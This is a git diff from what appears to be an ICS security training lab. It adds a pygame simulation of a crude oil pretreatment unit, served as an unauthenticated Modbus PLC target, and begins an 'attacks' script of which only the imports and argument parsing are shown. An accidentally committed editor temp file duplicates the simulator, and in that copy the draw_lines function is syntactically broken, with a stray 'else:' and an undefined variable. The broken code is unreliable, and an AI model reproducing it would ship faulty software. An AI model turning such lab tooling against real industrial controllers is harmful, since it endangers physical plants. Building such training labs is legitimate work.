+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision)
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_wY9SBa.py b/plants/oil-refinery/.~c9_invoke_wY9SBa.py
new file mode 100644
index 0000000..6db5510
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_wY9SBa.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ else:
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision)
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/attacks/constant_running.py b/plants/oil-refinery/attacks/constant_running.py
new file mode 100755
index 0000000..5235ec1
--- /dev/null
+++ b/plants/oil-refinery/attacks/constant_running.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+
+from pymodbus.client.sync import ModbusTcpClient as ModbusClient
+from pymodbus.exceptions import ConnectionException
+import logging
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
